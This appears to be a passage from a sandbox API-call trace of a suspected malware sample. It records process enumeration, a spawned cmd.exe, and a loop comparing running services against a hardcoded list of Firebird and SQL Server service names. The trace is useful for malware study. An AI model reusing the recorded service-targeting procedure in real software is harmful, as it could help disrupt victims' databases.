	[0161.825] Process32NextW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.826] lstrlenW (lpString="svchost.exe") returned 11
	[0161.826] Process32NextW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1
	[0161.826] lstrlenW (lpString="MDMAgent.exe") returned 12
	[0161.826] Process32NextW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0161.827] lstrlenW (lpString="taskhostw.exe") returned 13
	[0161.827] Process32NextW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x9d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0161.827] lstrlenW (lpString="explorer.exe") returned 12
	[0161.827] Process32NextW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0161.827] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0161.827] Process32NextW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0161.828] lstrlenW (lpString="SearchUI.exe") returned 12
	[0161.828] Process32NextW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0161.828] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0161.828] Process32NextW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1
	[0161.829] lstrlenW (lpString="mobsync.exe") returned 11
	[0161.829] Process32NextW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0161.829] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0161.829] Process32NextW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x9e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0161.830] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0161.830] Process32NextW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd50, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0161.830] lstrlenW (lpString="cmd.exe") returned 7
	[0161.830] Process32NextW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0161.830] lstrlenW (lpString="conhost.exe") returned 11
	[0161.830] Process32NextW (in: hSnapshot=0x378, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0161.831] CloseHandle (hObject=0x378) returned 1
	[0161.831] Sleep (dwMilliseconds=0x1f4) 
	[0162.402] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x40a5d20
	[0162.409] EnumServicesStatusExW (in: hSCManager=0x40a5d20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 0
	[0162.410] GetLastError () returned 0xea
	[0162.410] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1bc4) returned 0x7a4308
	[0162.410] EnumServicesStatusExW (in: hSCManager=0x40a5d20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7a4308, cbBufSize=0x1bc4, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7a4308, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 1
	[0162.411] CloseServiceHandle (hSCObject=0x40a5d20) returned 1
	[0162.411] lstrlenW (lpString="AppXSvc") returned 7
	[0162.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0162.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0162.411] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0162.411] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0162.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0162.411] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0162.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0162.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0162.411] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0162.411] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0162.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0162.411] lstrlenW (lpString="Audiosrv") returned 8
	[0162.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0162.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0162.411] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0162.411] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0162.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0162.411] lstrlenW (lpString="BFE") returned 3
	[0162.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0162.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0162.411] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0162.411] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0162.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0162.412] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0162.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0162.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0162.412] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0162.412] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0162.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0162.412] lstrlenW (lpString="CDPSvc") returned 6
	[0162.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0162.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0162.412] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0162.412] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0162.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0162.412] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0162.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0162.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0162.412] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0162.412] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0162.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0162.412] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0162.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0162.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0162.412] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0162.412] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0162.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0162.412] lstrlenW (lpString="CryptSvc") returned 8
	[0162.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0162.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0162.414] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0162.414] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0162.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0162.414] lstrlenW (lpString="DcomLaunch") returned 10
	[0162.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0162.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0162.414] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0162.417] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0162.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0162.417] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0162.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0162.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0162.417] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0162.417] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0162.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0162.419] lstrlenW (lpString="Dhcp") returned 4
	[0162.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0162.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0162.419] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0162.419] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0162.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0162.420] lstrlenW (lpString="Dnscache") returned 8
	[0162.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0162.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0162.420] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0162.421] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0162.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0162.421] lstrlenW (lpString="DPS") returned 3
	[0162.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0162.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0162.421] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0162.422] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0162.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0162.423] lstrlenW (lpString="DusmSvc") returned 7
	[0162.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0162.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0162.423] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0162.423] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0162.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0162.423] lstrlenW (lpString="EventLog") returned 8
	[0162.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0162.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0162.423] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0162.423] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0162.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0162.423] lstrlenW (lpString="EventSystem") returned 11
	[0162.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0162.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0162.423] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0162.423] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0162.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0162.423] lstrlenW (lpString="FontCache") returned 9
	[0162.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0162.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0162.424] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0162.424] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0162.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0162.424] lstrlenW (lpString="gpsvc") returned 5
	[0162.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0162.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0162.424] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0162.424] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0162.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0162.424] lstrlenW (lpString="iphlpsvc") returned 8
	[0162.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0162.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0162.424] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0162.424] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0162.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0162.424] lstrlenW (lpString="KeyIso") returned 6
	[0162.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0162.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0162.424] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0162.424] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0162.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0162.424] lstrlenW (lpString="LanmanServer") returned 12
	[0162.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0162.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0162.424] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0162.424] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0162.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0162.424] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0162.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0162.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0162.425] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0162.425] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0162.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0162.425] lstrlenW (lpString="lfsvc") returned 5
	[0162.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0162.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0162.425] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0162.425] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0162.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0162.425] lstrlenW (lpString="lmhosts") returned 7
	[0162.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0162.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0162.425] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0162.425] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0162.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0162.425] lstrlenW (lpString="LSM") returned 3
	[0162.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0162.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0162.425] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0162.425] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0162.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0162.425] lstrlenW (lpString="MpsSvc") returned 6
	[0162.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0162.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0162.425] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0162.425] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0162.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0162.425] lstrlenW (lpString="NcbService") returned 10
	[0162.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0162.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0162.426] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0162.426] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0162.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0162.426] lstrlenW (lpString="netprofm") returned 8
	[0162.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0162.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0162.426] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0162.426] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0162.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0162.426] lstrlenW (lpString="NgcSvc") returned 6
	[0162.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0162.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0162.426] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0162.426] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0162.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0162.426] lstrlenW (lpString="NlaSvc") returned 6
	[0162.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0162.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0162.426] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0162.426] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0162.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0162.426] lstrlenW (lpString="nsi") returned 3
	[0162.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0162.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0162.426] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0162.426] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0162.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0162.426] lstrlenW (lpString="PcaSvc") returned 6
	[0162.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0162.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0162.426] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0162.427] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0162.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0162.427] lstrlenW (lpString="PlugPlay") returned 8
	[0162.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0162.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0162.427] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0162.427] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0162.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0162.427] lstrlenW (lpString="Power") returned 5
	[0162.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0162.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0162.427] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0162.427] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0162.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0162.427] lstrlenW (lpString="ProfSvc") returned 7
	[0162.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0162.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0162.427] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0162.427] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0162.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0162.427] lstrlenW (lpString="RpcEptMapper") returned 12
	[0162.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0162.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0162.427] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0162.427] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0162.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0162.427] lstrlenW (lpString="RpcSs") returned 5
	[0162.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0162.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0162.427] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0162.427] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0162.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0162.427] lstrlenW (lpString="SamSs") returned 5
	[0162.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0162.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0162.428] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0162.428] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0162.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0162.428] lstrlenW (lpString="Schedule") returned 8
	[0162.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0162.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0162.428] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0162.428] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0162.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0162.428] lstrlenW (lpString="SecurityHealthService") returned 21
	[0162.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0162.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0162.428] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0162.428] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0162.428] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0162.428] lstrlenW (lpString="SENS") returned 4
	[0162.428] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0162.428] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0162.428] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0162.428] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
